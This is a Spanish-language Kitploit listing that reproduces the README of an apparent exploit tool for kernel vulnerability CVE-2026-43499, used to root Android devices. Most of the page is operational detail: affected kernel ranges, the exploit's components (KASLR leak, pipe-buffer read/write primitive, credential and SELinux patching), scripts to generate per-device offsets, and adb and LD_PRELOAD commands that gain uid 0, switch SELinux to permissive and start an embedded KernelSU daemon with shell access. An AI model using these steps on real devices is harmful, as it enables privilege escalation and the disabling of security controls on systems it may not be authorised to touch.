Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-43499-root-KernelSU — Adaptación de escalada de privilegios local basada en la vulnerabilidad del kernel CVE-2026-43499, integra KernelSU embebido. Modo jailbreak CVE-2026-43499+KernelSU | Kitploit
Herramientas/GitHubGitHub/woshimaniubi8/cve-2026-43499-root-kernelsu
Seguridad AndroidEscalada de PrivilegiosExplotaciónDesarrollo de PayloadsExplotación de Binarios
GitHubwoshimaniubi8/cve-2026-43499-root-kernelsu

CVE-2026-43499-root-KernelSU

Adaptación de escalada de privilegios local basada en la vulnerabilidad del kernel CVE-2026-43499, integra KernelSU embebido. Modo jailbreak CVE-2026-43499+KernelSU

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
18363hace 3 mesesRevisado por Kitploit
# CVE-2026-43499-root-KernelSU

Adaptación de escalada de privilegios local basada en la vulnerabilidad del kernel CVE-2026-43499, con KernelSU integrado. Compila y genera `preload.so`; tras una explotación exitosa, KernelSU se iniciará en modo `late-load` (modo jailbreak). Admite la generación de `target.h` a partir de `(xbl_config.img / vendor_boot.img) + boot.img`.
Adaptación de escalada de privilegios local basada en una vulnerabilidad de kernel, que integra KernelSU embebido. Compila y genera `preload.so`; tras una explotación exitosa, KernelSU se iniciará en modo `late-load` (modo jailbreak). Admite la generación de `target.h` a partir de `(xbl_config.img / vendor_boot.img) + boot.img`, u otras vías.

Proyectos de referencia:

- [Linuxoid-cn/CVE-2026-43499-Poc-Analysis](https://github.com/Linuxoid-cn/CVE-2026-43499-Poc-Analysis/)
- [x-spy/CVE-2026-43499-popsicle](https://github.com/x-spy/CVE-2026-43499-popsicle)
- [Colorful-glassblock/duchamp-root](https://github.com/Colorful-glassblock/duchamp-root)

>[!IMPORTANT]
>La explotación no autorizada de vulnerabilidades para dañar, comprometer u obtener acceso a sistemas informáticos está prohibida por la ley. Este proyecto se proporciona estrictamente con fines de investigación, educativos y de aprendizaje, y solo puede utilizarse en sistemas y entornos para los que se haya concedido autorización previa. Cualquier uso de este proyecto se realiza bajo el propio riesgo del usuario. Los autores y colaboradores no asumen ninguna responsabilidad por el mal uso de este proyecto ni por los daños, pérdidas o consecuencias legales derivados de su uso.
>
>Aviso legal: el uso no autorizado de vulnerabilidades para dañar, invadir o acceder sin autorización a sistemas informáticos puede infringir las leyes y regulaciones aplicables. Este proyecto se limita a sistemas y entornos con autorización legal para fines de investigación, aprendizaje y pruebas de seguridad. Cualquier pérdida directa o indirecta, responsabilidad legal u otras consecuencias derivadas del uso, abuso o modificación de este proyecto serán asumidas por el propio usuario; los autores y colaboradores no asumen ninguna responsabilidad.

## Alcance del impacto

**Cuando su versión de kernel sea {Linux Kernel}, se encuentra dentro del alcance de esta vulnerabilidad**

- Linux Kernel < commit **3bfdc63936dd4773109b7b8c280c0f3b5ae7d349**

- **2.6.39** <=  {Linux Kernel} < **6.1.175**
- **6.2** <=  {Linux Kernel} < **6.6.140**
- **6.7** <=  {Linux Kernel} < **6.12.86**
- **6.13** <=  {Linux Kernel} < **6.18.27**
- **6.19** <=  {Linux Kernel} < **7.0.4**

## Estado actual

| Target | Estado |
| --- | --- |
| `rodin` (por defecto) | Verificado |
| Otros `src/targets/*` | Referencia |

## Estructura de directorios

```text
.
├── Makefile
├── build/
│   └── embed/
│       └── ksud                 # binario de userspace de KernelSU incrustado en preload.so
├── tools/
│   ├── generate_target.py       # entrada unificada de generación de target.h de este repositorio
│   └── vendor/                  # scripts auxiliares de generación originales sincronizados desde el directorio padre
└── src/
    ├── main.c                   # flujo principal del exploit
    ├── preload.c                # constructor LD_PRELOAD + escritura/inicio de ksud
    ├── root.c                   # parche de cred/seccomp/SELinux/root
    ├── slide.c                  # fuga de KASLR slide de pselect
    ├── fops.c                   # ruta pselect/FOPS
    ├── pipe.c                   # primitiva de R/W física de pipe-buffer
    ├── ksud_blob.S              # .incbin build/embed/ksud
    ├── kernelsnitch/            # helpers de KernelSnitch
    └── targets/
        ├── rodin/
        ├── beryl/
        └── ...
```

## Compilación

### Dependencias

- Host Linux
- Android NDK
  - Ruta por defecto: `~/android-ndk-r29`
  - O configurar: `ANDROID_NDK_HOME` / `ANDROID_NDK_ROOT` / `NDK_ROOT`
- `make`
- `git`

### Compilación

```bash
make PROJECT=<target> -j$(nproc)
```

Salida:

```text
build/<target>/bin/preload.so
```

### Ver targets disponibles

```bash
make list-projects
```

## Generar target.h

Este repositorio ya incluye un script unificado de generación de targets:

```text
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py
```

`tools/generate_target.py` es el script de entrada. Hace referencia y encapsula todos los flujos de generación de targets del directorio padre, y finalmente produce un `src/targets/<project>/target.h` completo adaptado al código fuente de este repositorio.

El script no valida de forma obligatoria `CONFIG_DEBUG_INFO_BTF=y` en IKCONFIG. Si los desplazamientos de campos de estructura o el diseño percpu de `entry_task` no se pueden verificar, imprimirá una advertencia y continuará con la generación.

Si la imagen no tiene ningún BTF utilizable, por ejemplo cuando aparece:

```text
有效 vmlinux BTF 候选不唯一: []
```

El generador entrará en el modo **fallback sin BTF**:

- Sigue recuperando los desplazamientos de símbolos de funciones/objetos globales de kallsyms en el `boot.img` actual;
- Las macros de campos de estructura/layout que no se pueden recuperar de BTF heredarán el target de plantilla, siendo `rodin` la plantilla predeterminada;
- Se escribirá una advertencia en la parte superior del header generado, indicando `without BTF` y la plantilla utilizada;
- Este header garantiza que, en la medida de lo posible, sea compilable, pero su fiabilidad en tiempo de ejecución debe verificarse en un dispositivo real.

Se puede especificar una plantilla de fallback:

```bash
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# o
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json
```

#### 1. Generación con boot.img + profile JSON

```bash
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
```

Se escribe por defecto en:

```text
src/targets/<project>/target.h
```

También se puede invocar el script directamente:

```bash
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json
```

`profile.json` debe contener información de direcciones físicas, por ejemplo:

```json
{
  "p0_phys_offset": "0x40000000",
  "p0_kernel_phys_load": "0x40000000"
}
```

#### 2. Detectar el profile desde un dispositivo ADB con root

Generar solo el profile:

```bash
make detect-profile PROFILE_OUT=profile.json
```

Detectar el profile y generar el target inmediatamente:

```bash
tools/generate_target.py --project <project> --boot /path/to/boot.img \
  --detect-adb-and-generate --profile-out profile.json
```

#### 3. Generación con (xbl_config.img / vendor_boot.img) + boot.img

El script también expone las otras entradas admitidas por el generador del directorio padre:

```bash
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img

tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img

tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
```

##### Ejemplos

```bash
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
```

La salida exitosa tiene la siguiente forma:

```text
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168
```

`rodin` conserva por defecto el valor verificado en hardware real:

```c
#define MM_STRUCT_SZ 0x500
```

Si es necesario sobrescribirlo:

```bash
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
```

## Añadir un nuevo target

Se recomienda generarlo a partir de la boot image y el profile coincidentes:

```bash
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)
```

Un target header completo incluirá:

- constantes de direct map / perfil físico
- desplazamientos de objetos de KASLR slide
- desplazamientos de task / cred / SELinux
- desplazamientos de pipe / fops / configfs
- valores de layout de pselect, por ejemplo `PSELECT_WAITER_WORD_SHIFT`
- `MM_STRUCT_SZ` y los valores de ajuste de KernelSnitch

## Ejecución

El código fuente actual ya tiene valores predeterminados integrados; para el funcionamiento normal solo es necesario configurar `LD_PRELOAD` y ejecutar cualquier programa (se recomienda `toybox id`).

```bash
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```

## Parámetros de ejecución predeterminados

La configuración predeterminada actual es la siguiente:

| Configuración | Valor predeterminado | Descripción |
| --- | --- | --- |
| `KSUD_LATE_LOAD` | `1` | Ejecuta `ksud late-load` |
| `KSUD_ALLOW_SHELL` | `1` | Pasa `--allow-shell` |
| `KSUD_PACKAGE` | `me.weishu.kernelsu` | Nombre del paquete del gestor pasado a ksud (parece no tener efecto) |
| `KSUD_DST` | `/data/local/tmp/ksud` | Ruta de escritura del ksud integrado |
| `KSUD_SKIP_WRITE` | `0` | Escribe el ksud integrado por defecto |
| `KSUD_DEFER_TO_PARENT` | `1` | Inicia ksud desde la ruta del proceso padre/actual ya parcheado |
| `ROOT_PATCH_SELF` | `1` | Parchea el proceso actual para que sea uid 0 |
| `DISABLE_SELINUX` | `1` | Al aplicar el parche root, cambia SELinux enforcing a permissive |
| `ROOT_EXIT_SLEEP` | unset / `0` | No hace sleep adicional antes de regresar |

El comando ksud que se ejecuta realmente por defecto es:

```bash
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
```

Estas variables de entorno aún se pueden sobrescribir en tiempo de ejecución, por ejemplo:

```bash
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```

Reutilizar el `ksud` ya escrito:

```bash
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```

## Limpieza

```bash
make clean
```

`make clean` conserva `build/embed/ksud`, porque `src/ksud_blob.S` lo incrusta de la siguiente manera:

```asm
.incbin "build/embed/ksud"
```

Si una limpieza manual provoca la pérdida de `build/embed/ksud`, se puede restaurar con:

```bash
git checkout -- build/embed/ksud
```

## Preguntas frecuentes

### `.incbin "build/embed/ksud"` no encontrado

Restaura el payload integrado y vuelve a compilar:

```bash
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
```

### La ruta FOPS devuelve `success=0`

`rodin` espera utilizar el layout pselect legacy/simple:

```text
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
```

Si el estado del dispositivo se ha contaminado por intentos fallidos, reinicia y vuelve a intentar:

```bash
adb reboot
```

### `F_SETPIPE_SZ` devuelve `EPERM`

Por lo general es un problema de estado causado por intentos fallidos/residuales; reiniciar es la forma más rápida de limpiarlo:

```bash
adb reboot
```

### `ksud` se inicia pero `/proc/modules` no contiene KernelSU

Consulta los registros (logs):

```bash
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
```

Si es necesario, ejecútalo manualmente en una shell root:

```bash
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
```

## Licencia

GPL-3.0. Consulta [`LICENSE`](https://github.com/woshimaniubi8/cve-2026-43499-root-kernelsu/blob/main/LICENSE).
Descargar herramienta